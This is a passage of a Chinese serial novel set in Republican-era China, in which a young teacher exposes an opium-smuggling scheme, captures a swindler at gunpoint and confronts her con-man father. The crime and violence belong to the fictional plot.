“顾老师,你知道我发现了什么吗?原来赵家人也抽大烟的!” 得知要来探望唐宝芸,红妹特地穿上了最好的衣裳。但她最好的衣裳也不过是一件洗得发白的红色夏布对襟衫子,她再扎着两个丫角辫跟在一边,实在不像个来探病的客人。 春妮跟赵表哥在前边说话,引着她的仆欧自行将她领到了下仆们歇脚的地方等候。待春妮他们找过去时,小姑娘已经跟赵家的几个仆人聊得热火朝天,挥挥手让她自己先去,她随后跟过来。结果她都要走了,她才不知从哪钻了出来。 “是吗?” 对春妮漫不经心的态度有些不满,红妹嘟了嘟嘴:“顾老师,你没看见,赵家的大烟好多好多,堆得这么高,一个人哪抽得完?” 这个时候大烟比钱币还好使,有钱人会大量囤货,也不足为奇。 春妮笑了:“你在哪看的?有这么多,难不成他们家要开烟馆?” 这句话就是开玩笑了,如今华国,尤其是学界主流思想都是坚持禁烟。赵先生是大学教授,若是家里开了烟馆,他的教授还当得下去吗?何况赵太太出身名门,祖上也是大官人家,现在转行做了烟馆,脸还要不要? “是真的!”红妹见她不信,急了:“我看见他们用箱子搬的,我爹以前抽大烟死的,箱子里边的烟膏味我隔十里地都闻得出来!” 春妮站住了,又问一遍:“你在哪看到的?” “那边!”红妹指了个方向。 这时,两人已经走出了赵家宅子的大门。 望着徐徐关上的雕花大门,春妮果断换了一个方向,往回走去:“跟我来。” ………… 三个钟头之后 春妮两人站在丰海大厦楼下,对红妹道:“你先回去吧,我一个人上去。” 这一个下午又是爬山,又是翻墙,红妹只是个小孩子,着实累坏了,闻言揩了把汗,就要转身离去。 春妮想了想,叫住她道:“今天下午你在赵家看到的东西,不要告诉任何人。” “我肯定不会说的,”红妹道:“顾老师,要不这信明天上班后你再送吧,现在天太晚了。” 春妮摇摇头,想起今天下午在赵家看到的那一幕……那堆满一车库的烟土,恍惚中仿佛有一条线在她脑海中启开。她现在迫切想找到阮少恭,探明他于重重迷雾中行动的真相。 现在是晚上七点多钟,大厦不少房间还亮着灯,一百多年前的社畜跟一百多年后没什么两样。 春妮上到八楼时,楼里绝大部分的房间灯都灭了,只有利发财务公司从门缝中透出幽幽黄光。 春妮走到门口,正要抬手敲门,屋里人一句话让她的手一定。 “恭仔,唐家的那个女人你到底准备怎么办,给个准话。” “什么怎么办?”是阮少恭的声音。 “别装傻,你知道我讲什么。总不会你还幻想跟她结婚吧?” 阮少恭没说话。 那声音笑了一声:“你真的在做这个梦?装久了,你不会真的以为,你就是那个南城大学肄业的阮少恭了吧?师父忠告你一句,别以为唐家人在港城没有势力就睇小佢,这样的大小姐,跟她玩玩就得啦,不是你能碰的。结婚的话,让唐家人查你三代,发现你讲大话,到时候死都不知道怎么死。” “我明白的,我会好好结束这件事。” “这就乖了。听师父的话,早抽身早好。师父在这行做过这么久,看多了因为贪心坏事的人,你资质这么好,你趁唐家人现在不敢声张,早点撤。现在局势都在我们这边,留得久了,小心阴沟里翻船。” “好,那我地在西贡的货?” “我已经找好了买家,他们很满意。事不过三,再做一次,我们就可以收手了。对了,你知道下次的货在哪边吗?” “给我两天时间,我会打探 出来。谁?!” 屋里人两步蹿过来打开门,然而,空荡荡的楼梯道中,只有一盏吊着的路灯在穿堂的风中慢悠悠地晃。 ………… 两天过后,唐宝芸回到了丰海大厦,继续过着上班摸鱼,下班找男朋友,时不时向单身狗们撒把狗粮的甜蜜日子。她习惯了红妹的贴身跟踪,下了班有时走快一点,还会等红妹一段路。 春妮向她打听曹明彰,她气愤不消:“他竟然跟踪我!我给曹伯伯打了电话,让表哥把他撵回了海城!” 春妮:“……” 数天过后,唐宝芸又一次来跟春妮请假:“我今天想早点走。” “阮先生有约?” “嗯。” “去哪玩?” “西贡码头。” “好,带上红妹,早点回家。”春妮意味深长道:“少吹风。” “我知道的。” ………… 港城是全世界闻名的自由港,每天南来北往,起码有数千艘轮船从这里发出,或者途经此地。光靠格罗妮一个海港,不可能周转过来。 在英商未曾收紧海关政策之前,港城附近的海滩上时常停满了各式各样的轮船。 最近港督派出了好几艘军舰,日夜在附近巡航打击走私,昔日船来船往的各处海滩突然空了不少。 走私跟交税是人类社会两大阵营中恒定不变的矛盾。 西贡码头再往前一些,大量的无人岛像妈祖帆船髻上的珍珠一般,散落在广阔无垠的洋面上。 王建利伏在沙滩上的一处岩缝中,像头正在产卵的海龟,身体半埋在沙堆里已经有了半个钟头。 夜晚的温度降得很快,傍晚被闷出来的汗让海风一吹,凝成了白色的盐晶,蜇得人皮肤无处不刺痛。 但王建利就像没有痛觉一样,双眼以极慢的速度眨动着,静静等待着。 他并不像身边的小弟一样,只是蹲了这一会儿,就像身上爬了蝎子一样,无处不想动。从他十五岁,从家乡跑出来混帮会开始,他已经锻炼出了足够的耐性。他知道,想办成大事,心狠在其次,耐性与眼光才是最要紧的。 就像二十二岁那年,他在江南一座小城看中了一个出身富贵的女学生,急不可耐从她手上捞些钱花。得手之后,才知道这女学生是警察局长的小姨妹。局长小姨妹被拆白党骗财骗色的消息传出来,当天气得在家要死要活,局长在黑白两道张榜,重金悬赏要他的命。 那次王建利付出肩胛骨被打穿的代价,逃出了那座城市。 自那之后,他一改往年的浮燥好斗,体重和性格都沉淀下来,在港城三虎地打拼到今日,才有了丰海大厦一间财务公司的小小成绩。 直到对岸一簇五彩烟花升空,他低喝一声:“干活了!”带着人拖出岩缝另一边的小舢板,两下推入海中,当先跃了上去。 小舢板一入水,瞬息间沿海岸线漂了上百米远。绕过半条海岸线,一条略大一些的渔船静静泊在海岛的另一边。对面的渔船上,跟上次差不多,仍是只守着两三个人。 王建利兴奋地喷出一口气:他当然知道,这两三个人和这一艘渔船只是对方接货的装备,只要他们将渔船往南划两百米,那里会有一艘来自太古的大船经过,在船只交错而过的数分钟之内,那艘渔船上的货物将会全部被钩到太古的货舱之中! 他最好在三分钟之内动手! 但王建利很有信心,这些出身官宦之家的家兵手软得很,只要他像上次一样,抢先出手镇住对方,这批货一定会手到擒来。 五分钟后…… 王建利一屁股坐到鼓鼓囊囊的麻袋上,抹了把头上的汗,对正在击掌相庆的伙计们道:“都收收德性,快点先回去。” 英国人再严管下去,这一带将会越来越不安全。 就在这时,一声“王老板,这就要走了?”炸得他跳起来:“是谁?” 一条漆黑的小船从暗影中划了出来,船头上,站着个一身黑衣,正笑吟吟看着他的小姑娘,小姑娘手上端着一只驳壳枪。 这个小姑娘她认识,是唐家大小姐的朋友,跟他那间财务公司都在丰海大厦。这些天有她在,唐家大小姐才有机会跟他的徒弟少恭经常出门。这小姑娘身边带的人他也听说过,不知从哪调理出来的精兵悍将,这段日子狠崩了几个老家伙的牙。 只她身边人狠归狠,却从不仗势欺凌弱小,还常常会扶危济困,在码头附近一带的口碑很好。 王建利心里有了数,面上笑道:“顾小姐是唐家请来的?” 春妮笑而不语,拍拍手,身后暗影中又驶出两条同样漆黑的小船。 王建利只好继续试探:“道上的规矩,货到了我手上就是我的东西。除非您给个合适的价钱。不然——” 春妮手指一动,“咔嚓”,驳壳枪上了膛:“王老板,你最好别动。” 王建利声音有些不稳了:“顾小姐,我们这最多算黑吃黑,郑一嫂再世都管不了。你不过是唐家的外人,何必插手这种事?” “啪”,手枪响了! 王建利激灵一下,闭上了眼睛,听见耳边“啊”地惨叫,睁眼一看,才知道中枪的,是他身边那个在偷偷摸枪的大徒弟。 他终于忍不住,双膝一弯,颤声道:“顾小姐,你不知道,这一船货全部是从印度来的公班土,最好的大烟膏。唐家人偷偷在贩大烟卖,不是个好东西,你侠义心肠,可别帮错了人!” 春妮“哈”地一声,笑了出来。 第157章 157 天真 春妮讽刺地道:“那王老板是在做什么?替天行道?” 王建利抖动着面皮, 强笑道:“不敢,不敢。”心道,她既然知道里面的东西是什么, 莫非也是想来个黑吃黑? “我找的就是你, 王建利王老板。”春妮睇了一眼王建利脚下的货物:“枪声一响,照我估计,再有十分钟,英国人的军靓就会开到这里来。到时候,你这一船的烟土可不好说了。王老板,时间宝贵,我劝你要好好珍惜。” 港城如今在明面上禁了烟, 若是被英国人缴获了这船烟,东西丢了倒是小事。落在英国人手上, 他不死也要脱层皮。 有得谈,不要他的命就好……而且,听这小姑娘的口气,似乎她也不是唐家人请来对付他的。 如果是这样…… 王建利尽力稳住心神, 笑道:“哪里,顾小姐棋高一招, 在下自愧不如,这批货是您的了。” 春妮摇了摇头,道:“王老板是干老了事的人, 像这样的情况,想不把货让给我, 也不可能吧。” 王建利干笑:“那是自然,是我白说了这话。顾小姐还想让王某人干什么?” 春妮对左右使个眼色:“请王老板让你手底下的人配合一下,别耍花招, 手举起来,跟我走一趟。到时候,咱们自见分晓。”说着,眼神一利:“我劝王老板不要自作聪明,否则,我的枪可不长眼睛。” 一个钟头后 王建利被捆成粽子,坐在椅子上,垂头丧气道:“……事情就是这样。早在两年前,唐家人利用海港之间来往的便利做起了大烟生意,我也是偶然打听到他们在这座荒岛附近交货,唐家人走私鸦片不敢对外人声张,每次来都是掐好时间,只派几个世仆在这里接应,再送上太古的货轮。这种人点子不硬,最好下手。” “阮少恭呢?他接近唐大小姐,也是你安排好的?” “没有,这个真的没有。”王建利急忙辩驳:“顾小姐高看王某人了。恭仔跟唐大小姐在大学里认识,我哪有这个能耐在大学里安排人?少恭只是有一回认出唐大小姐身边的娘姨是唐家大烟的货主,我们猜出他们肯定不想让外人知道,让恭仔故意找唐大小姐套话,摸准了那娘姨的行踪。恭仔负责提前到西贡码头,那里视野好,只需要一只千里眼,便可以观察到他们货船交易的时间。我们就在这里候着——” “用烟花当信号?” “对,用烟花——您怎么知道的?” “哼,我当然知道,继续说。” 越发摸不清春妮调查出了多少东西,王建利不敢再耍滑头:“也……也没别的好说的了。顾小姐,我们只对那大烟动了心思,没敢动唐大小姐啊。” 春妮冷笑:“你以为,你为什么现在能好好坐在这?” 顿了顿,她又道:“那船公班土,少说值二十条大黄鱼。你胃口够不小的,一口气敢吞这么多货,就别自谦了。” “那是,那是顾小姐是一等一的仁 义人。那个……我们可以走了吧?” “那么着急干什么?四成,请王老板去外头喝杯茶。” 王建利走后,春妮拉开旁边房间的门,门里坐着三个女人。 春妮没看坐在最旁边,泪流满面的唐宝芸,径直走到最中间,妆扮得最华丽的女人面前:“赵太太。” 赵太太面色阴沉,良久,道:“这次,算我们赵家欠顾小姐一个人情。” “赵家?”春妮笑了:“赵太太何必跟我打哑谜?” 赵太太青着脸,怒道:“那你想怎样?凭这一船说不清来路的烟土,还想拖唐家——” “太太,”赵太太的话及时被旁边的女人截断,她按了按赵太太的手,转向春妮:“对不住,我们太太脾气急,顾小姐有什么话,直说吧。” 春妮看着赵太太。 赵太太哼了一声,转过头去。 春妮这才道:“那就请平姐为我先解个惑吧。这一船烟土是四爷一个人的生意,还是唐家人都有份?” 赵太太猛地转回头来:“你当我们唐家是什么人?” 春妮眯了眯眼:做都做了,还装得三贞九烈给谁看? 平姐咳嗽一声:“顾小姐言重了。我们家老太爷临死之前,曾有过家训,唐家人不准沾烟土,这船烟土也只是我们四爷的生意伙伴因为周转不开,抵押给他的。他原本只想留在手边几天,待朋友手上松活些,再还给他,并不准备拿来做生意。” 平姐这是料准了春妮没扣下他们的人,拿不到证据,言语间将这批烟土的来历撇得一干二净。至于王建利,做拆白党起家的小混混,说出来的话,有几个人会信? “哦?是吗?”春妮拉过手边的电话:“正好我在双城政府有认识的人,不如我让人拍个电报到双城问问,是不是这样。” “你敢!” “不要!” 两个女人同时色变。 唐家二爷正在双城,春妮说的拍电报,意指在谁,不言自明。 唐二爷正是唐家那位做过财务次长的仁兄,后来他随着政府撤离到双城之后,听唐宝芸说,唐二爷被调入总统机要室,具体做什么事不清楚,但肯定是高升了。 以前唐家人再风光,也只在旧朝。如今唐家的子子孙孙中,只有唐二爷在政府中做到的位置最高,最出息。而总统三令五申要禁烟,若是让总统知道,自己身边人的家族在偷偷卖烟土,那—— 唐家在新政府没什么根基,这通电话一打,哪怕唐家人极力撇清关系,唐二爷的前途还会在吗?何况刚刚这小姑娘在隔壁,对着王建利逼问,手法一套一套的,那个老骗子都摸不出她的底牌,她们呢? 平姐忽然清醒了过来。 “顾小姐,一切都好说。”平姐一张没什么表情的脸也现出一丝紧张之色:“你是我们大小姐的朋友,也就是我们唐家的朋友。看在我们大小姐的份上,顾小姐有什么要求,我们一定满足。” 春妮再次盯着赵太太不动。 赵太太僵着脸,勉强对她挤出了一个笑容。 春妮这次是真正地笑了:“两位女士不必紧张,我不求财。” 刚说出这句话,春妮观察到,这两个女人面部的表情不约而同松驰了一下。 她心中哂然:都饥不择食要偷偷卖鸦片了,不说唐家,至少唐四爷和赵太太的经济出现了大问题。如果她真的要钱,这一船的公班土拿出去,什么换不到?至于费劲巴拉跟他们周旋这么久? 平姐的神情很快更加紧张:不求财,那她想求的,必定是花钱办不了的。 “那顾小姐想要什么?” 这回,春妮先看了眼唐宝芸。 平姐会意,对赵太太点了点头。赵太太皱眉,拥住唐宝芸的肩头,道:“宝芸,我们该回去了。宝芸,宝芸?” 唐宝芸从得知阮少恭接近她的目的之后便开始哭,春妮进来前,她已经哭得头昏脑胀,几乎昏死过去。春妮进来那会儿,她已经哭累了。 她顺着赵太太的力道站起来,走过春妮时,猛地回神过来,瞪着她问道:“你是不是,是不是早就知道阮……知道他有问题,却一直像看傻子一样看我笑话?你是不是觉得我很好笑?” 春妮望着她:这个女孩子即使肿着眼睛,眼神也是清澈而无辜的,她拥有让无数人殷羡的家世和美貌,却没有学会怎么保护它。 她在心里叹了口气,认真道:“唐小姐,天真是个好品质。但这个年代,天真太奢侈了。你该长大,该看看这个世界了。” 唐宝芸一怔,让赵太太用了把力,趁机被推出了门外。 ………… 唐家几个女人离开后,春妮走回隔壁。 “你听见了?现在,你们的事,唐家人已经知道了。” 王建利苦笑:“顾小姐好手段。”唐家人是不混□□,可让这小丫头在唐家人面前揭了他的老底,他也讨不了好。 春妮似笑非笑:“哪里哪里,怎么比得上王老板略施美男计,就轻松赚取二十条大黄鱼的厉害?” 王建利不敢笑了:“顾小姐,我是真的不敢了,咱们能不能别再说什么小黄鱼大黄鱼了,好不好?” “好。” 出乎意料,王建利“嗯”了一声。果真听见春妮下一句话便是:“我让唐家人答应不追究你的麻烦,你不该谢谢我?” “谢,谢——顾小姐想让王某人怎么谢您?” “不着急,”春妮掏出一张相片,放到他眼下:“这个男人,你认不认识?” 相片的年代有些久,是一个穿旧式长衫的男人跟个梳圆髻,穿通绣袄的女人的合影。 这女人的相貌跟顾小姐有些像啊…… 王建利眯起眼睛,凑到电灯下看得时间有些久:“他啊,他以前跟我是一个门的师兄。顾小姐是想让我帮你找他出来?” “师兄?”春妮意味不明地哼笑一声:“你先说说你们那个门派的事,那个纹身是怎么回事?” “那个纹身啊,跟我们的派名有关。我们的门派叫引蝶门,听名字你就知道啦,我们是专门吃女人饭的。这对翅膀就是我们的会徽,刚成立那会儿,门主,就是我和师兄的师父雄心勃勃,一心想做出名气广收门徒,还设计了会徽,为了应景,将会徽定成蝴蝶翅膀,但是……” 王建利这一讲,就是大半夜。 直到天光既明,他讲得口干舌燥,终于停了下来:“我师父死之后,师兄跟我就分开了。我也不知道师兄最后去了哪,不过,他比我聪明,想来应该过得不错……唉,做我们这一行,有今朝没明日,死在哪也有可能。哦对了,您还有什么要问的吗?” “你可以先休息两天。”春妮站了起来。 “休息两天?顾小姐,您不是说好了,要放我吗?我回去休息也行啊。” 回答他的,是“哐”地关门声。 第158章 158 准备 大江东去, 客从南来。 王建利站在船头上,一只手攥着栏杆,哪怕下了船就是全华国最繁华, 华国所有人最向往的, 有“东方巴黎”之称的海城,他非但不觉得开心,反而还想做最后的挣扎:“顾小姐,你真不再想想?我,我真的不行啊。” 来来往往的旅客从他们身边擦身而过,时有奇怪的目光投过来。这一老一少的组合实在太怪,老的一身江湖气, 却对个看上去不足十八岁的小姑娘点头哈腰,怕得什么似的。 而小姑娘春妮呢, 春妮脸色冰冷,不为所动:“你在港城可不是这么跟我说 的,现在到地方了,你给我耍这一招, 是打量我气性太好?” 王建利眉毛拧成八字形,可怜巴巴道:“这是说哪的话?我哪敢戏弄你?实在是, 您看看我这张脸,哪像是能给您办那事的?” 他这眉毛长在张黑胖方脸上,实在拧得过于有喜感, 让春妮多看了一眼:其实他说得没错,王建利这些年在海上来去, 一张脸被海风摧残得黑红黑红的,早就不复他自吹自擂的又白又俊。这副尊容,穿上龙袍也不像太子, 的确是不太适合办她交给他的事。 但有什么办法,事情来了,总不能因为人不凑手就不做了吧。 “怕什么,我不是跟你说过,只要你好好演,我保你一条命?还是——”她往船下看了一眼,船下面,白浪翻滚:“王老板现在就想回老家了?” 王建利“呲溜”站直了,赔笑道:“您可别叫我王老板了?叫多了,我怕折寿,我哪敢做您的老板?” 春妮笑了一声:“随便你。还不走?” “走,我走。”王建利像被霜打了似的走了两步,冷不防没看见脚下的舷梯,脚下绊蒜撞到栏杆上,上嘴唇磕到下嘴唇,“啊”地一声,半颗牙齿磕了下来。 春妮:“……”这个王建利,混了一辈子的□□,怎么胆子还越混越小起来了?给她办事,有这么可怕吗? “姐姐,你觉得他这样,真能成事?”夏生也怀疑道。 这个暑假,他跟春妮一直在一起,对她想做的事,模模糊糊也算有些了解。看着王建利,他担心道:“要不,让那个姓阮的上算了。” 春妮俯身下去,附在王建利耳边,阴沉道:“王老板不会以为,这么容易我就放过你了吧?海城牙科诊所多的是,这半颗牙,镶镶能用好久。倒是王老板的脑袋,不知道有没有地方镶。” 说着,扬声叫来两名学生,一左一右架着他,将他架下了船。 王建利被拖走之后,他身后的几个徒弟小弟更是像霜打了的茄子似的,不用学生们催促,耷拉着脑袋下了船。 船下,韩厂长开来了卡车早早等着接船。 春妮看着王建利他们上后车厢,跟剩下的学生们说:“没别的事了,你们都先回去,好好休息两天,记得放假作业都补一补,过两天咱们开学见。” 春妮说这句话时,就看面前的学生们听见“休息”,个个喜笑颜开,再听见“作业”,又都齐声哀叹起来,好玩极了。 这次去港城,这些放出笼的猴子们可是好好借出公差的机会玩了一场,等上了回海城的船,没兴奋两天,被春妮提醒要上学,玩野了的心一时之间哪里收得回来? 个个还抢着干活:“顾老师,我真能帮你看着王建利,别这么快赶我走嘛。” “去去去,别以为我不知道,你是想借看王建利的名头逃避写作业。”春妮笑骂道:“少来打我主意,滚吧。” 相对于海城,港城的□□目前势力最大的几股,多由前朝那批溃兵组成,远远不像盘踞在海城的青帮,红帮等大帮派一样,跟官府和倭国人勾连,依靠帮会渗透到普通人生活的方方面面,面对的局面也简单很多。这些学生们两个月来天天在街头跟那些人打交道,正需要好好读书养性。 至于王建利的事,春妮转头跟夏生道:“你忘了王建利是干什么出身的?那就是个老骗子,你信他真的胆子小不敢干?我又不叫他杀人放火,他被识破了,他还能跑,我跑不了我都没说什么。这老王八蛋不过想借机跟姐姐我要价罢了。” 夏生“啊”地一声,气恼道:“我就看他可怜,又给忘了这人是个骗子。”顿了顿,又小声问:“以前爹是不是也这样骗人的?” 春妮又想叹气了。 这段日子,她叹的气几乎要比上之前一年叹的次数。 她就该知道,那年为了稳住夏生,说的谎话是要还的。自从那天她跟夏生说,王建利是渣爹的师弟之后,夏生整个人都傻掉了,用了好几天时间,才学会接受这个事实。到了今天,仍在心存侥幸。 谁不希望自己的父母是大好人?谁不希望自己有个令人骄傲的,拿得出手的父亲? 夏生和她没有这个福份,就该早早接受现实。否则,一个虚幻的偶像万一突然被打破,带来的毁灭性是无可估量的。 因而,知道王建利跟渣爹的这层关系后,她有意无意地让他跟王建利接触,夏生不出意料地知道了真相。 姐弟两个说着话,没留意到在旁边开车的韩厂长欲言又止。 下车送王建利进他目前的居处之后,韩厂长叫住了春妮,递给她一摞厚厚的纸:“双城那边拍来的电报,我都整理了出来,你看看吧。” 春妮接过来,翻看得很快。这个年代发一次电报很贵,因而写得都很简单,她一目十行,很快翻到了这样一张电报纸:“顾,昨有人寻女,于校附近游荡,特告知。” 她指尖微顿,再往下翻了两页,便到了末尾。 末尾这段电文是这一摞中最长的,几乎写了一满页,光是寄出这份电文,至少要花费五十块大洋,然而一整页密密麻麻的信上,写的不过是一些乍看之下毫无关联的话。 韩厂长凑过来瞄一眼:“有钱人,你跟尹校长写的什么啊?神神秘秘的还搞起了暗语?”这么长的电文,是她先自掏的腰包,所以韩厂长有此谑语。 春妮将电文折起来,道:“双城不是咱们自己人的地盘,我不得万事小心一些么。”却没有给韩厂长解惑的意思。 这上面的东西,自然是她跟尹厂长临走前商量好的,让他打探双城政府教育部的情况,另外,还有一些其他的东西。 自从对王建利这一伙人的身份有所猜测之后,春妮心里就涌起了一种模糊的冲动。这种冲动,随着王建利和他的弟子全部落入她掌控中而愈发不可收拾。 因而,那天早上离开关押王建利的房间之后,她立刻往双城拍了一份电报,问尹校长能不能弄到教育部的身份证明函件,她有用。 尹校长却一定要她说清楚原因,因为这种函件一般非常难弄,如果没有合适的原因,他是花大心思帮她弄的。 春妮只好告诉了他实话,自己准备找人充任教育部专员,看能不能从付鸿民那里弄到更多的经费。 是的,春妮一直没放弃惦记在付鸿民手里的那笔教育经费,她离开海城前,严广福给她传来消息,说那是一笔至少年价值五十万银元的巨款。换算成王建利最喜欢的,一根十两的大黄鱼,至少是一千五百根,也就是一万五千两黄金!(这时候是十六进制,一万五千两不是一千五百斤,而是九百多斤黄金) 这一万五千两黄金,买这个年代最好的马克沁机枪,至少能买五百条,还足够使一个师装备上最好的武器,他们工厂需要保持第一年的销售势头至少二十五年才能赚到这五十万银元。 这一笔菩萨都会动容的巨款,却被付鸿民那个酒囊饭袋全部不知糟蹋到哪去了。 看到王建利的那一瞬间,那个被春妮隐隐压在心底的念头立刻又复活了。 为此,她在抓到王建利的时候,特意避开了大多数人,又秘密将他关押,回到海城时,只让最亲信的几名学生一路跟随,务必使消息得到最大程度的封锁。 出于对春妮的信任,其他人只知道她可能要干一件大事,回来的学生们也 绝对想不到,她要干的大事,会是这样一件。 其实这个年代冒充政府人员行骗是骗子最常用的手法之一,只是春妮要骗的那个人本身就是教育部高官,对教育部的规则和行事风格原本就很熟悉,她想从这样一个人手里骗到钱,难度不是一般的大。 但不试试又怎么知道呢? 春妮绝不甘心这笔钱白白落在付鸿民手上,每个月却被他打发叫花子似的打发很少的一部分。 她将王建利他们关到华界一栋远离人群的房子里,并请来老师帮助较正他们的言行礼仪。与此同时,保持着尹老师跟双城之间的联系,只等着一个合适的时机,将改头换面的王建利推出人前。 就这样,春妮紧锣密鼓地秘密准备着,时间到了九月,学校开学以及新一季招生季的开始。 这天,春妮起了个大早,跟以前一样先在学校操场上热身准备跑圈,远远的,两名护卫队的学生跑过来。 “顾老师,那有个人,鬼鬼祟祟的很可疑啊。” “我去看看。” 第159章 159 预料 自从接到尹校长拍来的电报之后, 春妮就有预感,或许她和渣爹的事还没了帐。 不知道顾茂丰是怎么找到的她,不过那天她不是一个人, 即便事后有补救, 有心查探也瞒不过人。 不过,对方这么快找到海城,找到她,也是她没想到的。 她让两个学生先离开,对这个穿灰色长袍,一脸风尘仆仆的男人道:“有什么话,找个地方再说吧。” 顾茂丰欲言又止, 越过春妮的肩膀往里看。 见到春妮之前,顾茂丰有千言万语要说, 但看到她的那一刻,他一肚子的话,全部被堵在了嗓子眼里:“哎。” 他擦了擦眼睛,便听女儿冰冷地道:“你有什么事, 直说就是。一哭二闹三上吊,那是泼妇才干的事。” 顾茂丰:“……妮儿, 你是不是还恨着爹?” 春妮笑了:“我为什么要恨你?” 顾茂丰的心沉了沉:他惯擅玩弄人心,如何看不出,春妮说的话是真的。她不爱他, 其实这在他的意料中。这些年他对他们母子几个做的事,不爱才是正常的。但她也不恨他, 不得不说,这令他有一丝丝的恐惧。 人都说爱恨痴怨,不管是先有爱还是先有恨, 总是要有了以上两种情绪,才有缘份,才有痴怨。但他的女儿不爱他,也不恨他,他们没有情感上天然的牵系,他该怎么做才能连起断掉的线? 顾茂丰是个心狠自私的人。其实春妮爱他还是恨他,他不一定如何欢喜,或是如何介怀。人行于世,脱不出伦理道德这个大框架。他的女儿不爱他又怎样?他是她的父亲,他天然对她就有制约之力。 除了一种情况。 他想制约的人很强大,单靠情感捆绑和人情约束,困不住他/她的手脚,无法使其屈服。 有本事的人总有让人忌惮的本钱。 春妮万里迢迢,带着弟弟从水灾中活下来,还在海城立稳了脚跟。无疑,她不但是个有本事的人,而且……他想起几个月前,她在双城对付自己的手笔,她还是个行事果决,不会被世俗道德困宥的,同样心狠的人。 这样的人,会听任他的摆布?他以前的那些手段,会对她有用? 跟在春妮的身后,顾茂丰越走,脚步越沉重。 她看见他,不紧张,不激动,什么情绪都没有。这说明,在她眼里,他不止是个陌生人,还对他的来意有预料,她有实力不惊慌。那么,她会怎样对付他? 他去双城的学校,除了确定寻找春妮的身份之外,还听说了不少关于她的事。这要是不知道她的年龄和名字,几乎跟女枭雄一样的手段,真是他的女儿? 要是早知道她是这样,该早把她接到自己身边…… 春妮不知道身后顾茂丰心理变化这么复杂,她穿过人流走了半条街,将人带到码头边缘处的江边。 “好了,你说吧。” “妮儿,”顾茂丰的眼泪说来就来:“跟爹回去吧,你一个人在外边太辛苦了,爹以后养你,咱们好好过日子。” 春妮噗地笑出了声。 顾茂丰哽了哽:“爹知道,爹以前亏待了你和你娘,但爹都是不得以的。爹——” “因为你以前要骗女人,要吃女人的软饭,怕带着我和我娘坏你的事?”春妮尖锐地道。 顾茂丰被刺得差点说不出话:“……你不知道,你爷爷死的时候,家里什么都没了。爹第一次出门讨生活那会儿,你奶奶用她的银戒指换了两个银毫子给我当的路费。我刚上船的第二天,银毫子就被人骗了去……” “你被人骗了,所以你就入了引蝶门,做了那拆白党去骗别人?”春妮忽然道。 即使是顾茂丰的城府,他的神情也控制不住地一变:“你——你是听谁说的?爹不是那种人。是不是秦惠君?这个女人惯会说谎,当年——” “原来,你也觉得,骗女人钱很羞耻,不能承认啊。”春妮平静地道。 顾茂丰望着春妮,心中充满了无处下嘴的无力感。 他垂下头,颓丧道:“不管你心里怎么看爹,在爹心里,你也是我的女儿,夏生也是我的儿子,爹总是希望你们都好。爹虽然这些年没怎么回过家,但每年往家里没少捎银子。妮儿,你不能只念爹的不好,忘了爹的好。” 足下江水浩浩奔腾,没人说话。 顾茂丰是不知道尴尬为何物的:“爹知道你对爹有成见,爹也不求你的原谅。但夏生,你总得让他见见我吧?他长这么大,都还不知道有爹是什么滋味。” 来了,他忍了这么久,终于还是打出了“夏生”这张牌。 刚刚沉默这么久,春妮心里其实一直在想这个问题。没错,她是预料到了顾茂丰会找过来,她也有一万种方法可以阻止他去找到夏生,但是,顾茂丰是个活生生的人,他能从蛛丝马迹分析局面走到海城来,就不是个笨蛋。当然,笨蛋也不可能当这么多年骗子安然无恙,还过得比一般人都好。 除非春妮现在把他推下江,否则,夏生总会见到他的。她阻止得了一时,能阻止一世吗? 对于处理这种家庭关系,春妮从来都不擅长。 “见夏生干什么,让他知道有个骗子爹,你觉得他会很光荣?”春妮只能这么问他,希望他有点良心。 “那都是以前的事了,爹不是说过?也是为了生计才不得不这么干……爹已经悔过了,想好好过日子了,爹是真的不会再干这种事了。” “悔过?这话你问秦惠君,看她认不认你悔过?哦,你还不知道吧,秦惠君死了。” “死了?”顾茂丰愕然:“怎么会?” “是啊,她不止死了,连她的尸骨后事都是我替她装敛操办的。”春妮冷冷道:“你是怎么算计的她,用得着我提醒你?” “妮儿,我跟秦氏之间的事不是一句两句说得清……”顾茂丰满头大汗:“我是前两年才知道,秦氏不知从哪听说了你娘的事,叫我休了你娘,我没答应。她又让人往老家送了一封休书,假装是我,想生米——” 再扯下去,无非还是听他甩责任扣帽子这一套,反正当事的另一方不可能为自己辩解,死无对证,春妮已经没耐心再听下去了。 “不管你跟秦惠君之间事实如何,这是你种下的孽因。我妈因为那封信,差点在村里活不下去,这些我都不想再提,但——” 她顿了顿:“我已经为你收拾了一回烂摊子,希望你有点羞耻心,识点趣,没事别来缠着我们,别让我们姐弟因为你的存在蒙羞。” 说罢,她不再看他一眼,转身离去。 春妮走得不快,他费这么大力找到他们,她不觉得顾茂丰会因为那几句话就打消了自己原先的念头。她等着看顾茂丰还会有什么新招来为自己狡赖,但她知道顾茂丰就跟在她身后不远处,却没有阻止她回到学校,也没有再跟上来缠上来说话。 甩下身后的那出闹剧,春妮走路回学校,经过小 吃摊时,她要了一碗糊辣汤和两个馒头,掰碎了浸在汤里慢慢喝。 现在小吃摊又开发出了好几种吃食,还弄了个小磨子每天大清早磨豆浆搭配馒头来卖,可惜租界里粮食越来越贵,舍得出来吃早点的人也越来越少。他们的摊子招的人又多,每天所得不过是勉强维持不赔不赚罢了。 小吃摊上,蒋四成已经恢复了上班,他迎上来,低声道:“顾老师,昨晚王建利托我代话,说必须给他点武器,不然这活他做不了。他说,中央政府专员出门得有派头,条件所限,没车就算了,但没有枪不行。” 他这话其实没什么问题,但武器可不能乱给,王建利惯于骗人,谁知道按他要求给了东西,他又会有什么新招。她得去见他一面再说。 春妮离开后,蒋四成应付完一拨客人,发现原先她坐的位置已经坐了人,是个生客。 他熟练地挂起笑容:“阿叔,您来点什么?” “照那小姑娘吃的东西,给我上份一样的。”顾茂丰笑得很和气:“小兄弟,那个小姑娘,她是不是就是你们的顾老师?” “阿叔问这个做什么?”蒋四成不答反问,心里已经对他留意了起来。 “哦,我从双城来,认识你们分校的校长,他跟我提起过你们顾老师。” “原来你是尹校长的熟人啊?”蒋四成笑容里重新加入了一些温度:“那你去过我们的双城校区吗?那里建设得怎么样了?” “……” 一连数天,春妮都在王建利住处,学校之间来回跑,对顾茂丰小心翼翼的试探动作,她未曾留意。学校是她的地盘,在这里,他翻不出风浪来。 然后,这天清早,她又一次被顾茂丰拦在了学校外边。 “妮儿,这些天这么忙,你是不是有了麻烦?” “怎么?你跟踪我?” 